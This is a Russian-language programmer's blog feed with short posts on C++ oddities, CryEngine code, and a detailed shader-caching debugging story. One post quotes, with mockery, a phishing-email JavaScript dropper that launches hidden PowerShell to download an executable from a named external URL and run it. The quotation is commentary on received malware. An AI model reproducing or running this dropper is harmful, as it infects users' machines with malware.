?

Log in

Из анкеты соискателя

авг. 29, 2016 | 03:59 pm

Ссылка | Оставить комментарий {2} | Поделиться

Строки - это просто

авг. 22, 2016 | 06:26 pm

struct string
{
    char *buffer;
    int length;
    int size;
};


Отсюда
Метки:

Ссылка | Оставить комментарий {1} | Поделиться

(без темы)

авг. 18, 2016 | 06:28 pm

Чувак запилил юзер-спейс песочницу, песочница оказалась решетом (сюрприз, да?). Причём ещё и ухитрился просунуть её в центос с дебианом (а из дебиана безмозглые убунтоиды утащили её к себе).

Ссылка | Оставить комментарий {1} | Поделиться

Эксель

авг. 18, 2016 | 06:00 pm

Ссылка | Оставить комментарий | Поделиться

Интересно, зачем так можно сделать

авг. 18, 2016 | 01:49 pm

int main()
{
    static_cast<void>(42);
}
Метки:

Ссылка | Оставить комментарий | Поделиться

И ещё cryengine

авг. 18, 2016 | 11:57 am

#define CONST const
#define VOID void
#define THIS void
Метки:

Ссылка | Оставить комментарий | Поделиться

Непонятный C++

авг. 16, 2016 | 01:03 pm

int i = -1U;

C4146: unary minus operator applied to unsigned type, result still unsigned
Метки:

Ссылка | Оставить комментарий {5} | Поделиться

c - codestyle

авг. 11, 2016 | 06:11 pm

https://github.com/CRYTEK-CRYENGINE/CRYENGINE/blob/63418e7c9e998272ba79c4a6693f61c382f88e15/Code/CryEngine/CryPhysics/tetrlattice.cpp#L311
Метки:

Ссылка | Оставить комментарий {1} | Поделиться

Опять мне в линукс присылают нерабочие вирусы

авг. 10, 2016 | 05:08 pm

Письмо с якобы выпиской со счёта сбербанка (и ничего что у меня его нет). Внутри zip, внутри которого zip, внутри которого js:

var lidizzz = new ActiveXObject("shell.application");
lidizzz.ShellExecute("cmd.exe", "/c powershell.exe -ExecutionPolicy bypass -noprofile 
-windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('http://
www.see21dale.com/wp-content/plugins/libravatar-replace/vipiska.exe','%APPDATA
%.exe');Start-Process '%APPDATA%.exe'", "", "open", 0);
var KyrqB = 6250;


Беда в том что запустить этот js нечем. А даже если бы было, cmd.exe всё-равно нету. Помог ему, скачал экзешник руками. Но и он крашится под вайном :(

Интересно почему 6250.

Ссылка | Оставить комментарий {2} | Поделиться

Я думал что достиг дна, но тут снизу постучали

авг. 8, 2016 | 08:34 pm

Итак, крайэнджин. Симптомы: при запуске редактора с некоторой вероятностью (около 0.7 на моей машине, около 0.2 на соседней) в редакторе черно как у негра в заднице.

Сначала подумали - ну хз, может свет сломался. Поставили лампочку (point light). Все-равно темно.

В процессе брейншторма возникла мысль покрутить время суток в игре. Ага - ночью все хорошо (ну насколько ночью вообще может быть хорошо), днем чернота.

Крутя параметры туда-сюда выяснили что дело в тумане. Полезли в шейдер тумана, оказалось что на экран попадают NaN'ы. Методом if (foo) { outColor = red; } постепенно размотали шейдер в обратную сторону и поняли, что в структуре, принимаемой из плюсов, из float4 + float3 этот самый float3 забит нулями, а шейдер хочет внятных данных.

Причем при попытках запустить шейдер под отладчиком NVidia NSight баг пропадает.

Пошли в плюсы смотреть где формируются данные. Там никаких нулей нет, зато внезапно структура состоит из двух float3. Мысль "либо эта ебанина вообще никогда не должна работать, либо где-то происходит магия, которая преобразует структуру между плюсами и видеокарточкой".

Копаем дальше, нашли магию (директиксовый CreateInputLayout). Магия кэшируется. Внезапно, при инвалидации кэша при обращении к нему через разные codepath'ы получилось контролируемо переключаться между состояниями сломано/работает. Присматриваемся внимательнее, CreateInputLayout принимает на вход тело шейдера, а результат реюзается между двумя шейдерами.

На первый взгляд шейдера имеют одинаковую сигнатуру и реюз валиден, НО! Один шейдер использует всю структуру, а другой только float4, второе поле ему не пригодииилось. И в результате при создании лэйаута для этого второго шейдера второе поле структуры игнорируется и из плюсов в видюху не копируется.

Ну а дальше немного недетерминированности между запусками (листинг директорий в FS, HashMap'ы с адресами объектов или что-нибудь в этом духе) и в зависимости от порядка инициализации шейдеров туман либо работает либо нет.

В общем-то классический (хотя и нечастый баг) про то, что в ключ в кэше замешана не вся информация на базе которой формируется значение.

Если чо, в наисвежайшем крайэнджине с гитхаба баг тоже присутствует. Как крайтеки до сих пор на это не наступили - непонятно, оно изначально сломано в их DX10/DX11 рендере, несмотря на то что в микрософтовом DX9 -> DX10 migratio guide изменение поведения CreateInputLayout подробно разжевано.
Метки:

Ссылка | Оставить комментарий | Поделиться